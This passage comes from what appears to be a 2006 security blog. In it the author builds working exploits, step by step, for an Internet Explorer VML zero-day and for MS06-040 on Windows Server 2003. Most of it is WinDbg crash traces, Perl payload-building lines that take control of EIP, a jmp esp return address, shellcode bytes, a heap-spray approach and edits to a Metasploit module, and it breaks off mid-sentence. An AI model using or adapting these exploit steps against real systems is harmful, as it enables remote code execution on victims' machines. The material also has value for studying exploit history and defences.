es=0023 fs=003b gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);"><span style="font-weight: bold;">ntdll!ExecuteHandler2</span>:</span><br /><span style="color: rgb(51, 204, 0);">7c903799 55 push ebp</span><br /><br />Then call <span style="color: rgb(51, 102, 255);">ntdll!ExecuteHandler2</span>.<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c9037ba esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">ntdll!ExecuteHandler2+0x21:</span><br /><span style="color: rgb(51, 204, 0);">7c9037ba 8b4d18 <span style="font-weight: bold;"> mov ecx,[ebp+0x18] ss:0023:0013bc24=0d0d0d0d</span></span><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=7c9037bd esp=0013bbf0 ebp=0013bc0c iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246</span><br /><span style="color: rgb(51, 204, 0);">ntdll!ExecuteHandler2+0x24:</span><br /><span style="color: rgb(51, 204, 0);">7c9037bd ffd1 <span style="font-weight: bold;">call ecx {0d0d0d0d}</span></span><br /><br />As you can see, ecx is set to 0x0d0d0d0d at instruction address <span style="color: rgb(51, 102, 255);">0x7c9037ba</span>. Then, the instruction "<span style="color: rgb(51, 102, 255);">call ecx</span>" is executed so the flow of execution will jump to <span style="color: rgb(51, 102, 255);">0x0d0d0d0d</span>.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com5tag:blogger.com,1999:blog-30260908.post-1158832097399365092006-09-21T16:46:00.000+07:002006-09-24T09:25:38.700+07:00Heap Spraying: Exploiting Internet Explorer VML 0-day<p class="MsoNormal">[<span style="color: rgb(51, 102, 255); font-weight: bold;">UPDATE</span>: Sep 24th, 2006] Finally, got the code execution on XP SP2. However, because of the serious damage, I will not publish things about this until M$ release the patch. Sorry for inconvenient</p><p class="MsoNormal">At the time I write this article, This exploit is still <span style="color: rgb(255, 0, 0);">0-day</span>, there is no patch. I decide to write this exploit because I just wanna to know that which platform is exploitable. Xsec’s exploit show that W2k platform is exploitable, so I decide to work with XP platform.</p> <p class="MsoNormal">I use <span style="color: rgb(51, 102, 255);">Shirkdog</span>’s PoC as the starting point to see how IE crash. This is the result: </p> <span style="color: rgb(51, 204, 0);">(6ec.6f0): Access violation - code c0000005 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">First chance exceptions are reported before any exception handling.</span><br /><span style="color: rgb(51, 204, 0);">This exception may be expected and handled.</span><br /><span style="color: rgb(51, 204, 0);">eax=00310030 ebx=ffffff88 ecx=0013bec4 edx=001832cc esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=5acc2794 esp=0013bec0 ebp=0013c0d4 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Text+0x81:</span><br /><span style="color: rgb(51, 204, 0);">5acc2794 8938 mov dword ptr [eax],edi ds:0023:00310030=00000000</span><br /><br />The access violation occurs at <span style="color: rgb(255, 0, 0);">0x5acc2794</span> because of writing to the address that eax point to – <span style="color: rgb(255, 0, 0);">0x00310030</span>. I look at the code and found that it is at last 2nd byte at the “method”:<br /><br /><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">v:fill method=”AAAAAAAAAAAAA…BCD01” …</span><br /><span style="color: rgb(51, 204, 0);">…</span><br /><br />The byte 0x31 is 1 and 0x30 is 0. I confirm this by change the “method” to be like this: <p class="MsoNormal"> </p> <span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">v:fill method=”AAAAAAAAAAAAA…BCDFF” …</span><br /><span style="color: rgb(51, 204, 0);">…</span> <p class="MsoNormal"> </p> <p class="MsoNormal">This is the result:</p> <span style="color: rgb(51, 204, 0);"> vgx!_IE5_SHADETYPE_TEXT::Text+0x81:</span><br /><span style="color: rgb(51, 204, 0);">5acc2794 8938 mov dword ptr [eax],edi ds:0023:00460046=????????<br /></span> <p class="MsoNormal">As you can see, we can control eax partially. There is the byte 0x00 between each character. I recognize this quickly - if I wanna to control eax completely, I have to create HTML file in <span style="color: rgb(51, 102, 255);">unicode file format</span> (If you wanna to know why I recoginize it quickly, you can read this post <a href="http://sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html">“<span style="color: rgb(51, 102, 255);">Heap Spraying: Internet Exploiter</span>”</a>. I had been got stuck about this 2 hours, lol).<br /></p> <p class="MsoNormal">I create a simple perl script to generate the HTML file in <span style="color: rgb(0, 0, 0);">unicode format</span>. This is a part of code that trigger the access violation:<br /></p> <p class="MsoNormal"><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">$page = $page . "\x41\x00" x 256 . "\xaa\xaa\xaa\xaa";</span><br /><span style="color: rgb(51, 204, 0);">...</span><span style="font-family:monospace;"><br /></span></p> <p class="MsoNormal">Then I use IE browse the page generated by this script:<o:p><span style="font-family:monospace;"><br /></span><br /><span style="color: rgb(51, 204, 0);">eax=aaaaaaaa ebx=ffffff88 ecx=0013c034 edx=001efffc esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Text+0x81:</span><br /><span style="color: rgb(51, 204, 0);">5acc2794 8938 mov dword ptr [eax],edi ds:0023:aaaaaaaa=????????</span></o:p><br /></p> <p class="MsoNormal">Yez, I can control eax completely. But the next problem is what’s the value of eax that I should set ? It has to be the <span style="color: rgb(51, 102, 255);">writable memory</span>. Because I have not much time to find the good one, I decide to write it to <span style="color: rgb(255, 0, 0);">0x77fc3210</span> – <span style="color: rgb(51, 102, 255);">Pointer to First Vectored Handler</span> in XP. This is the result:<br /></p><span style="color: rgb(51, 204, 0);"> Breakpoint 0 hit</span><br /><span style="color: rgb(51, 204, 0);">eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Text+0x81:</span><br /><span style="color: rgb(51, 204, 0);">5acc2794 8938 mov dword ptr [eax],edi ds:0023:77fc3210=00000000</span><br /><span style="color: rgb(51, 204, 0);">0:000> u</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Text+0x81:</span><br /><span style="color: rgb(51, 204, 0);">5acc2794 8938 mov dword ptr [eax],edi</span><br /><span style="color: rgb(51, 204, 0);">5acc2796 b001 mov al,1</span><br /><span style="color: rgb(51, 204, 0);">5acc2798 5f pop edi</span><br /><span style="color: rgb(51, 204, 0);">5acc2799 eb02 jmp vgx!_IE5_SHADETYPE_TEXT::Text+0x8a (5acc279d)</span><br /><span style="color: rgb(51, 204, 0);">5acc279b 32c0 xor al,al</span><br /><span style="color: rgb(51, 204, 0);">5acc279d c9 leave</span><br /><span style="color: rgb(51, 204, 0);">5acc279e c20800 ret 8</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Save:</span><br /><span style="color: rgb(51, 204, 0);">5acc27a1 55 push ebp</span><br /><span style="color: rgb(51, 204, 0);">0:000> p</span><br /><span style="color: rgb(51, 204, 0);">eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=5acc2796 esp=0013c030 ebp=0013c244 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293</span><br /><span style="color: rgb(51, 204, 0);">vgx!_IE5_SHADETYPE_TEXT::Text+0x83:</span><br /><span style="color: rgb(51, 204, 0);">5acc2796 b001 mov al,1</span><br /><br />The access violation doesn’t occur at <span style="color: rgb(255, 0, 0);">0x5acc2749</span>. This means that <span style="color: rgb(51, 102, 255);">0x77fc3210</span> is writable. I continue run WinDBG:<br /><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00039a28 edi=001f5ec4</span><br /><span style="color: rgb(51, 204, 0);">eip=00000000 esp=00130008 ebp=00000000 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293</span><br /><span style="color: rgb(51, 204, 0);">00000000 ?? ???</span><br /><br />The access violation occurs again, but eip points to <span style="color: rgb(255, 0, 0);">0x00000000</span> in this time. To see more details, I modify my perl script:<br /><br /><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">$page = $page . "\x41\x00" x 256 . "\x10\x32\xfc\x77” . “\xaa\xaa\xaa\xaa” x 64;</span><br /><span style="color: rgb(51, 204, 0);">…</span><br /><br />This is the result when I browse the page with IE:<br /><br /><span style="color: rgb(51, 204, 0);">eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001efdb4 esi=00000000 edi=001efdb4</span><br /><span style="color: rgb(51, 204, 0);">eip=aaaaaaaa esp=0013c254 ebp=aaaaaaaa iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">aaaaaaaa ??</span><br /><br />We can control eip completely !!! This is a simple stack-based buffer overflow vulnerability - easy to exploit :). After I have found that the offset that overwrite eip is the 2nd of 4 bytes “<span style="color: rgb(51, 102, 255);">\xaa\xaa\xaa\xaa</span>”, I plan to layout the exploit code like this:<br /><span style="color: rgb(51, 204, 0);"><br />…</span><br /><span style="color: rgb(51, 204, 0);"> $page = $page . "\x41\x00" x 256 . </span><br /><span style="color: rgb(51, 204, 0);"> "\x10\x32\xfc\x77” . # writable memory </span><br /><span style="color: rgb(51, 204, 0);">"\x44\x44\x44\x44". # padding<br />“\xaa\xaa\xaa\xaa” . # return address</span><br /><span style="color: rgb(51, 204, 0);"> “\x90\x90\x90\x90” x 16 . # padding</span><br /><span style="color: rgb(51, 204, 0);"> “\xcc\xcc\xcc\xcc”; # shellcode "break instruction"</span><br /><span style="color: rgb(51, 204, 0);">…</span><br /><br />I intend to set the return address to <span style="color: rgb(51, 102, 255);">0xaaaaaaaa</span> to locate our shellcode when IE crash:<br /><br /><span style="color: rgb(51, 204, 0);">eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f3ec4 esi=00000000 edi=001f3ec4</span><br /><span style="color: rgb(51, 204, 0);">eip=aaaaaaaa esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">aaaaaaaa ?? ???</span><br /><span style="color: rgb(51, 204, 0);">0:000> dd esp</span><br /><span style="color: rgb(51, 204, 0);">0013c254 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0013c264 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0013c274 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0013c284 90909090 90909090 cccccccc 00000000</span><br /><br />Wow, our shellcode is in stack. Just change <span style="color: rgb(51, 102, 255);">0xaaaaaaaa</span> to the address of instruction “<span style="color: rgb(51, 102, 255);">jmp esp</span>”, our shellcode will be executed. I use <a style="color: rgb(51, 102, 255);" href="http://www.metasploit.com/opcode_database.html">Metasploit’s Opcode Database</a><span style="color: rgb(51, 102, 255);"> </span>to find such a address – <span style="color: rgb(51, 102, 255);">0x71ab7bfb</span> (XP SP0 + SP1, ws2_32.dll). I change 0xaaaaaaaa to 0x71ab7bfb and use IE browse the page:<br /><br /><span style="color: rgb(51, 204, 0);">(144.56c): Break instruction exception - code 80000003 (first chance)</span><br /><span style="color: rgb(51, 204, 0);">eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f6ec4 esi=00000000 edi=001f6ec4</span><br /><span style="color: rgb(51, 204, 0);">eip=0013c28c esp=0013c254 ebp=44444444 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293</span><br /><span style="color: rgb(51, 204, 0);">0013c28c cc int 3</span><br /><span style="color: rgb(51, 204, 0);">0:000> u eip - 0x4</span><br /><span style="color: rgb(51, 204, 0);">0013c288 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c289 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c28a 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c28b 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c28c cc int 3</span><br /><span style="color: rgb(51, 204, 0);">0013c28d cc int 3</span><br /><span style="color: rgb(51, 204, 0);">0013c28e cc int 3</span><br /><span style="color: rgb(51, 204, 0);">0013c28f cc int 3</span><br /><br />Ha ha, our shellcode is executed. The last part of this is just change the shellcode “break instruction” to the real shellcode – <span style="color: rgb(51, 102, 255);">port 5555 binding</span> (Metasploit) shellcode in this case – and test it (don’t forget that the length of shellcode must be even numbers because our file format is unicode 16). But the problem still exists – shellcode doesn’t run correctly. I look at the point that my shellcode crash:<br /><br /><span style="color: rgb(51, 204, 0);">(5fc.1b0): Illegal instruction - code c000001d (first chance)</span><br /><span style="color: rgb(51, 204, 0);">(5fc.1b0): Illegal instruction - code c000001d (!!! second chance !!!)</span><br /><span style="color: rgb(51, 204, 0);">eax=77fc331d ebx=fffffe88 ecx=0013c033 edx=002236a4 esi=00000000 edi=002236a4</span><br /><span style="color: rgb(51, 204, 0);">eip=005f0029 esp=0013c24c ebp=44444443 iopl=0 nv up ei ng nz ac po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000293</span><br /><span style="color: rgb(51, 204, 0);">005f0029 ff ???</span><br /><span style="color: rgb(51, 204, 0);">0:000> kb</span><br /><span style="color: rgb(51, 204, 0);">ChildEBP RetAddr Args to Child </span><br /><span style="color: rgb(51, 204, 0);">WARNING: Frame IP not in any known module. Following frames may be wrong.</span><br /><span style="color: rgb(51, 204, 0);">0013c248 0013c276 ffffffeb 90909090 90909090 0x5f0029</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:000> dd 0013c276 - 0x12</span><br /><span style="color: rgb(51, 204, 0);">0013c264 90909090 90909090 eb6afc90 fff9e84d</span><br /><span style="color: rgb(51, 204, 0);">0013c274 8b60003f 8b24246c 7c8b3c45 ef017805</span><br /><span style="color: rgb(51, 204, 0);">....</span><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013c276 - 0x12</span><br /><span style="color: rgb(51, 204, 0);">0013c264 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c265 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c266 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c267 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c268 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c269 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c26a 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c26b 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0:000> u</span><br /><span style="color: rgb(51, 204, 0);">0013c26c 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013c26d fc cld</span><br /><span style="color: rgb(51, 204, 0);">0013c26e 6aeb push 0FFFFFFEBh</span><br /><span style="color: rgb(51, 204, 0);">0013c270 4d dec ebp</span><br /><span style="color: rgb(51, 204, 0); font-weight: bold;">0013c271 e8f9ff3f00 call 0053c26f</span><br /><span style="color: rgb(51, 204, 0);">0013c276 60 pushad</span><br /><span style="color: rgb(51, 204, 0);">0013c277 8b6c2424 mov ebp,dword ptr [esp+24h]</span><br /><br />Illegal instruction ? This is the shellcode:<br /><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />Our bytes in shellcode has been changed, from <span style="color: rgb(51, 102, 255);">0xffff</span> to <span style="color: rgb(51, 102, 255);">0x3f00</span>. How could this happen ? I put <span style="color: rgb(51, 102, 255);">“\xff\xff\xff\xff”</span> as the shellcode and test again:<br /><br /><span style="color: rgb(51, 204, 0);">eax=77fc300b ebx=ffffff88 ecx=0013c034 edx=001e76c4 esi=00000000 edi=001e76c4</span><br /><span style="color: rgb(51, 204, 0);">eip=0013c271 esp=0013c254 ebp=44444444 iopl=0 ov up ei ng nz ac pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010a96</span><br /><span style="color: rgb(51, 204, 0);">0013c271 004b05 add byte ptr [ebx+5],cl ds:0023:ffffff8d=??</span><br /><span style="color: rgb(51, 204, 0);">0:000> dd eip - 0x12</span><br /><span style="color: rgb(51, 204, 0);">0013c25f 90909090 90909090 90909090 3f003f90</span><br /><span style="color: rgb(51, 204, 0);">0013c26f 4b000000 00800005 00800000 00000000</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />I get the same result. The bytes <span style="color: rgb(51, 102, 255);">0xffff</span> is converted to <span style="color: rgb(51, 102, 255);">0x3f00</span> automatically. I can’t use the shellcode that contains bytes 0xffff. This is not flexible, so I have to find the other way to inject my shellcode into memory.<br /><br />Then<span style="color: rgb(51, 102, 255);"> the heap spraying technique </span>comes into my mind. I browses the exploit that use <span style="color: rgb(51, 102, 255);"><a href="http://sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html">SkyLined’s heap spraying techqniue</a></span> (the concept of this technique is that you inject the nop + shellcode into the heap memory and use some method to trick the eip jump into that heap – for more detail plz see <a style="color: rgb(0, 0, 0);" href="http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html">Heap Spraying: Introduction</a>) and I've found that the shellcode in these exploits can contain the bytes 0xffff. Then, I add the javascript code that inject our heap into the memory and test it to ensure that the heaps contain our shellcode.<br /><br /><span style="color: rgb(51, 204, 0);">0:000> dd 0d0d0000</span><br /><span style="color: rgb(51, 204, 0);">0d0d0000 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0d0d0010 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:000> dd 0d0d0d00</span><br /><span style="color: rgb(51, 204, 0);">0d0d0d00 00000090 90909000 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0d0d0d10 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><span style="color: rgb(51, 204, 0);">0:000> dd 0d0d0d0d</span><br /><span style="color: rgb(51, 204, 0);">0d0d0d0d 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">0d0d0d1d 90909090 90909090 90909090 90909090</span><br /><span style="color: rgb(51, 204, 0);">...</span><br /><br />Then I modify the attack vector:<br /><br /><span style="color: rgb(51, 204, 0);">…</span><br /><span style="color: rgb(51, 204, 0);">$page = $page . “\x41\x00” x 256 . # padding</span><br /><span style="color: rgb(51, 204, 0);"> “\x01\x0d\x0d\x0d” # writable memory</span><br /><span style="color: rgb(51, 204, 0);"> “\x44\x44\x44\x44” # padding</span><br /><span style="color: rgb(51, 204, 0);"> “\x0d\x0d\x0d\x0d” # return address</span><br /><span style="color: rgb(51, 204, 0);">…</span><br /><br />Because I inject the heaps until the address <span style="color: rgb(51, 102, 255);">0x0d0dxxxx</span> become valid, so I can do anything with these address. First of all, I change the writeable address memory from 0x77fc3210 to <span style="color: rgb(51, 102, 255);">0x0d0d0d01</span> becauses the first one doesn’t work in W2K system. Writing to the address 0x0d0d0d01 is also possible because it is writable memory. For eip, I tell it jump into <span style="color: rgb(51, 102, 255);">0x0d0d0d0d</span> – our shellcode. I test it and there is no problem ^-^. This <span style="color: rgb(51, 102, 255);">0-day</span> is really fun to implement.<br /><br />P.S. I also test the exploit with W2K and it still work without to change the return address :)<br /><br />P.S. For XP SP2 (the most wanted, lol), the problem is that it has stack protection mechanism. The situation that can break the stack protection – we can write to any memory location that we want with our value - doesn’t occur even though this occurs in SP1, unlucky. However I've seen the movie that show the exploitation on XP SP2, this means that there is someway to exploit it but not with the method I use.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com10tag:blogger.com,1999:blog-30260908.post-1158119181275755862006-09-13T10:45:00.000+07:002006-09-16T14:24:52.560+07:00When Kernel Crash : MS06-040 Windows Server 2003 SP0 Target<p class="MsoNormal">As I promise, now I will detail about how to develop exploit MS06-040 that attack against Windows Server 2003 SP0, especially how to break the stack-based buffer overflow protection mechanism in <span style="color: rgb(51, 102, 255);">Windows Server 2003 SP0</span>.</p> <p class="MsoNormal">First of all, I use the metasploit module, <span style="color: rgb(51, 102, 255);">netapi_ms06_040.pm</span>, as a template to study how the system process crash. I use the target number 2 “(wcscpy) Windows XP SP0/SP1” and modify the code like this:<br /></p> <p class="MsoNormal"> </p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0x00020804 ],</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">change to<o:p> </o:p><br /><br />[ ‘(wcscpy) Windows XP SP0/SP1’, 612, 0xaaaaaaaa ],</p> <p class="MsoNormal"><br />add this code:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">$shellcode = “\x42” x length($shellcode);<o:p> </o:p></p> <p class="MsoNormal">above the code line:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">my $path<br /></p> <p style="color: rgb(51, 204, 0);" class="MsoNormal"> </p> <p class="MsoNormal"><br />replace the code:</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">Pex::Text::AlphaNumText(<i>numbe</i>r)<o:p> </o:p></p> <p class="MsoNormal">with</p> <p style="color: rgb(51, 204, 0);" class="MsoNormal">(“\x41” x <i>number</i>)<br /></p> <p style="color: rgb(51, 204, 0);" class="MsoNormal"> </p> <p class="MsoNormal">The reason why I have to do this change is I have to know which parts of payload overwrite which registers and how the stack look likes.<o:p> </o:p>I run this exploit attack against the machine, and windbg show the result like this:<br /></p> <p class="MsoNormal"><span style="color: rgb(51, 204, 0);">kd> .exr 00E0F1F8</span><br /><span style="color: rgb(51, 204, 0);">ExceptionAddress: 77bd4d33 (msvcrt!wcscpy+0x0000000b)</span><br /><span style="color: rgb(51, 204, 0);"> ExceptionCode: c0000005 (Access violation)</span><br /><span style="color: rgb(51, 204, 0);"> ExceptionFlags: 00000000</span><br /><span style="color: rgb(51, 204, 0);">NumberParameters: 2</span><br /><span style="color: rgb(51, 204, 0);"> Parameter[0]: 00000001</span><br /><span style="color: rgb(51, 204, 0);"> Parameter[1]: 41414141</span><br /><span style="color: rgb(51, 204, 0);">Attempt to write to address 41414141</span><br /><span style="color: rgb(51, 204, 0);">kd> .cxr 00E0F214</span><br /><span style="color: rgb(51, 204, 0);">eax=00e0d8d2 ebx=77bd4cfe ecx=41414141 edx=00e0f4f8 esi=00000000 edi=77bd4e32</span><br /><span style="color: rgb(51, 204, 0);">eip=77bd4d33 esp=00e0f4e0 ebp=00e0f910 iopl=0 nv up ei ng nz na po cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000283</span><br /><span style="color: rgb(51, 204, 0);">msvcrt!wcscpy+0xb:</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:41414141=????<br /></span></p> <p class="MsoNormal"> </p> <p class="MsoNormal">The exception occurs at the address 0x77bd4d33 (wcscpy+0xb) – attemp to write to the address 0x41414141. I also view the stack:</p> <span style="color: rgb(51, 204, 0);">kd> dd esp</span><br /><span style="color: rgb(51, 204, 0);">00e0f4e0 71c44b7e 41414141 00e0f4f8 00000000</span><br /><span style="color: rgb(51, 204, 0);">00e0f4f0 0016ded8 0011d878 0100d8d2 77da7417</span><br /><span style="color: rgb(51, 204, 0);">00e0f500 42421000 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">00e0f510 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">00e0f520 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">00e0f530 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">00e0f540 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">00e0f550 42424242 42424242 42424242 42424242</span><br /><span style="color: rgb(51, 204, 0);">kd> dd ebp</span><br /><span style="color: rgb(51, 204, 0);">00e0f910 41414141 41414141 41414141 aaaaaaaa</span><br /><span style="color: rgb(51, 204, 0);">00e0f920 41414141 41414141 aaaaaaaa 41414141</span><br /><span style="color: rgb(51, 204, 0);">00e0f930 41414141 41414141 41414141 41414141</span><br /><span style="color: rgb(51, 204, 0);">00e0f940 41414141 41414141 41414141 00000000</span><br /><span style="color: rgb(51, 204, 0);">00e0f950 0011d87c 00000000 00e0f988 77c52360</span><br /><span style="color: rgb(51, 204, 0);">00e0f960 0011d590 0011d5a0 0016ded8 00000061</span><br /><span style="color: rgb(51, 204, 0);">00e0f970 0011d878 0011d87c 00000000 02020202</span><br /><span style="color: rgb(51, 204, 0);">00e0f980 00000007 000efc9c 00e0fd64 77ce51d0</span><br /><span style="color: rgb(51, 204, 0);">kd> kb</span><br /><span style="color: rgb(51, 204, 0);">ChildEBP RetAddr Args to Child </span><br /><span style="color: rgb(51, 204, 0);">00e0f4dc 71c44b7e 41414141 00e0f4f8 00000000 msvcrt!wcscpy+0xb</span><br /><span style="color: rgb(51, 204, 0);">00e0f958 77c52360 0011d590 0011d5a0 0016ded8 NETAPI32!CanonicalizePathName+0x12c<br /><br /></span> <p class="MsoNormal">Now the address <span style="color: rgb(255, 0, 0);">0x41414141</span> is overwritten instead of <span style="color: rgb(255, 0, 0);">0xaaaaaaaa</span>. I found that the offset of the position that can control<span style="color: rgb(255, 0, 0);"> ecx</span> is at 46th bytes from the last of variable $path.</p> <p class="MsoNormal"><o:p> </o:p>At this time I can control ecx, I change value 0xaaaaaaaa back to <span style="color: rgb(51, 102, 255);">0x02040801</span> (near the location 0x02080400) and rerun the exploit</p> <span style="color: rgb(51, 204, 0);">kd> r</span><br /><span style="color: rgb(51, 204, 0);">eax=00e84242 ebx=77bd4cfe ecx=02080401 edx=00e8f4f8 esi=00000000 edi=77bd4e32</span><br /><span style="color: rgb(51, 204, 0);">eip=77bd4d33 esp=00e8f4e0 ebp=00e8f910 iopl=0 nv up ei ng nz na pe cy</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000287</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax ds:0023:02080401=????</span><br /><span style="color: rgb(51, 204, 0);">kd> u</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d33 668901 mov word ptr [ecx],ax</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d36 41 inc ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d37 41 inc ecx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d38 42 inc edx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d39 42 inc edx</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3a 6685c0 test ax,ax</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3d 75f1 jne 77bd4d30</span><br /><span style="color: rgb(51, 204, 0);">001b:77bd4d3f 8b442404 mov eax,dword ptr [esp+4]</span><br /><span style="color: rgb(51, 204, 0);">kd> p</span><br /><span style="color: rgb(51, 204, 0);">ntdll!KiUserExceptionDispatcher+0x4:</span><br /><span style="color: rgb(51, 204, 0);">001b:77f4526b 8b1c24 mov ebx,dword ptr [esp]<br /></span> <p class="MsoNormal">After the instruction at the address 0x77bd4dee “mov word ptr [ecx], ax”, the function <span style="color: rgb(255, 0, 0);">KiUserExceptionDispatcher()</span> is called instead of the 